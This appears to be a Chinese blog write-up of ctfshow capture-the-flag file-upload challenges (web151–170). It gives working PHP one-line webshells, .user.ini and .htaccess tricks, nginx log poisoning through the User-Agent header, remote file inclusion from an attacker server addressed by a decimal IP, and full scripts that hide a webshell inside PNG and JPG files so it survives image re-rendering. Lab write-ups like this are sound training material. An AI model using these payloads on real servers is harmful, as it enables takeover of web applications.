ctf-web入门-文件上传
Web 151
Web 152
解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。
将Content-Type
内容修改成image/png
,重发,发现成功上传
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag
Web 153
利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
auto_append_file=“xxx”
xxx为我们上传的文件名
。
这样就在每个php文件
上包含了我们的木马文件。
Web 154-155
上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过
Web 156-158
<?=eval($_POST{1});?>
或者那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
<?=system('tac ../f*')?>
Web159
<?=`tac ../f*`?>
Web 160
解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini
和图片后
访问网站然后修改ua
头信息
web161
<?include"/var/l"."og/nginx/access.lo"."g"?>
web162
过滤了.
,所以不能利用日志包含了,先正常上传.user.ini
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
<?=include"http://3024726958"?>
web163
同上用远程文件包含
GIF89a?
auto_append_file=http://6024326456
web164
考点: png二次渲染
利用下方代码进行png二次渲染绕过
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'1.png'); #保存在本地的图片马
?>
木马内容
<?$_GET[0]($_POST[1]);?>
imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png
图片
图片脚本内容:
$_GET[0]($_POST[1]);
使用方法:
例子:查看图片,get传入0=system
;post传入tac flag.php
注:
运行上面的代码需要有php的gd库
下面的代码可以检测是否有gd库的存在
<?php
if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>
如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置
;extension=php_gd.dll
把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可
将生成的图片上传,bp抓包
web165
参考大佬解法
运用以下脚本进行jpg二次渲染
绕过
<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');
}
if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}
}
class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip){$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}
}
?>
先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg
在这里插入图片描述
a为文件名
php jpg二次渲染.php a.jpg
在上传payload_2.jpg,抓包
注:
jpg脚本需在linux环境下运行,我的系统为ubuntu
安装php
sudo apt-get install php
发现报错,需要重新寻找更新源
解决方法如下:
sudo vim sources.listdeb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse sudo apt-get update
sudo apt-get install phpjpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php-gd版本)
sudo apt-get install php7.4-gd
sudo php -m(查看gd是否安装成功)
web166
前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed
web167
题目提示httpd 利用.htaccess
进行绕过
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
接着上传图片包含一句话
蚁剑连接得flag。
web168
基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令
发现flag在上层目录里,直接rce
web169
考点:免杀,主要是过滤了php, <>等
创建index.php
文件,因为日志
文件内容将会在index.php中显现
在UA
中加入一句话木马
phpinfo()
可作为瞄点
得到flag
web170
先上传一个zip,然后抓包,改Content-Type
为image/png
,可以传php等格式,但是发现文件内容过滤了 <> php $
发现可以上传 .user.ini
文件
GIF89A
auto_append_file="/var/log/nginx/access.log"
UA添加小马
<?php @eval($_POST['shell']);?>
蚁剑相连
得到flag
ctf-web入门-文件上传相关推荐
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- CTFshow——web入门——文件上传
web入门-文件上传 web151 web152 web153 web154 web155 web156 web157 web158 web159 web160 web161 web162.web16 ...
- CTFshow web入门——文件上传
目录 Web 151 考点:后端无验证,前端校验 Web 152 考点:绕过前端校验 Web 153 考点:文件后缀名,黑名单 Web 154-155 考点:文件内容过滤,过滤关键字是php Web ...
- 2020小迪培训(第21天 WEB 漏洞-文件上传之后端黑白名单绕过)
WEB 漏洞-文件上传之后端黑白名单绕过 前言 文件上传常见验证 后缀名,类型,文件头等 后缀名:黑名单,白名单 黑名单:明确不允许上传的格式后缀 asp php jsp cgi war- 缺陷:在定 ...
- WEB漏洞-文件上传之后端黑白名单绕过
WEB漏洞-文件上传之后端黑白名单绕过 文件上传常见验证:后缀名,类型,文件头 后缀名:黑名单,白名单 黑名单:asp php jsp aspx cgi war- 白名单: txt jpg zip r ...
- 2020小迪培训(第20天WEB 漏洞-文件上传之基础及过滤方式)
WEB 漏洞-文件上传之基础及过滤方式 前言 知识点 什么是文件上传漏洞? 有文件上传不一定存在漏洞 凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试 上传文件操作的代码的完整性.安全性, ...
- 上传文件白名单_十大常见web漏洞——文件上传漏洞
漏洞介绍 在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...
- 用VSCode开发一个asp.net core2.0+angular5项目(5): Angular5+asp.net core 2.0 web api文件上传...
第一部分: http://www.cnblogs.com/cgzl/p/8478993.html 第二部分: http://www.cnblogs.com/cgzl/p/8481825.html 第三 ...
- Stream - Web大文件上传插件
Stream 简介 Stream 是根据某网的文件上传插件加工而来,支持不同平台(Windows, Linux, Mac, Android, iOS)下,主流浏览器(IE7+, Chrome, Fir ...
- SpringMVC Web实现文件上传下载功能实例解析
需求: 项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在20G内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以20G来进行限制. PC端全平台支持,要求支持Window ...
最新文章
- 不懂技术系列--如何快速调试html5页面/手机页面
- wpf cefsharp html源码,CefSharp For WPF基本使用
- 高达100亿美元!美国国防部将IBM和甲骨文双双踢出了云计算合同;华为任正非说了,华为对向苹果等对手出售5G芯片保持开放的态度...
- 二维数组vector的代码使用简单例子_vector容器_ 用构造函数vectorint()
- SimpleDateFormat的一些简单用法:时间类型转字符串,字符串转时间
- 测试nb信号的软件_NB频点概述
- 【MapReduce】MapReduce(DataJoin)实现数据连接+Bloom Filter优化
- 凤凰系统运行linux,把凤凰系统装进U盘里,打造PC上的可移动android系统
- Eclipse配置Tomcat详细教学|Eclipse和Tomcat的下载安装
- allegro隐藏/显示铜皮
- 数字图像处理基础笔记
- 【坦白说】如何确定对方身份?
- C语言自定义函数使用
- [渝粤教育] 宁波财经学院 金融工程学 参考 资料
- 概率论复习笔记(一)随机事件及其概率
- VS2010 中修改项目名称
- web前端新手入门:中国互联网的发展史
- Debussy VerilogVHDL ISE仿真平台搭建步骤
- android ps2 模拟器,手机目前安卓系统PS2模拟器最好用的是一款叫做呆萌PS2模拟器的APP!这一款竟然是国产的!...
- 牛顿迭代法解线性方程matlab程序,牛顿迭代法matlab程序(解线性方程组)
热门文章
- Zjh游戏(二十三)自身弃牌、比牌以及加注的处理
- Linux学习笔记14 ——execl
- Java execl导出
- 【VCED】Clip模型
- 正常血压(YZOJ-1078)
- 加载项inprivate_如何在Internet Explorer的Metro版本中打开InPrivate选项卡
- std::ofstream实例
- Mac下改善itunes下载慢的问题
- 山东大学教授计算机学院郭雷,中国科学院院士郭雷校友做客山东大学育贤校友讲坛...
- jquery学习笔记——getJSON无法读取本地json数据的问题